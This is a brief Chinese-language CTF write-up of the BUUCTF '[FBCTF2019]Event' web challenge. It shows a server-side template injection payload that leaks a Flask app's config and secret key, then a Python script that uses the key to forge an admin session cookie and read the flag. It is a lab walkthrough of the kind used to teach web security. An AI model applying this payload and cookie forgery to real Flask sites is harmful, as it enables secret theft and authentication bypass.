【BUUCTF】web(第5页wp)

[TOC]

BUUCTF web(第5页wp)

[FBCTF2019]Event

首先我们登录一下，发现不能以管理员登录

登录之后发现可以将输入的数据显示到页面上

访问：Admin panel

发现必须以管理员登录，所以应该是伪造cookie了，这里是ssti来获得secret_key

submit抓包：

event_important参数存在ssti，但是不能加_

event_important=__class__.__init__.__globals__[app].config

通过ssti获得key：fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y

伪造session

但是没什么用

wp是通过编写一个flask，来获得user签名：

from flask import Flask
from flask.sessions import SecureCookieSessionInterface

app = Flask(__name__)
app.secret_key = b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'

session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)


@app.route('/')
def index():
    print(session_serializer.dumps("admin"))


index()

# ImFkbWluIg.ZQZlng.oJBsDwwfsQkFG4M0odBTVxzPwuI

修改签名，发包访问/flag获得flag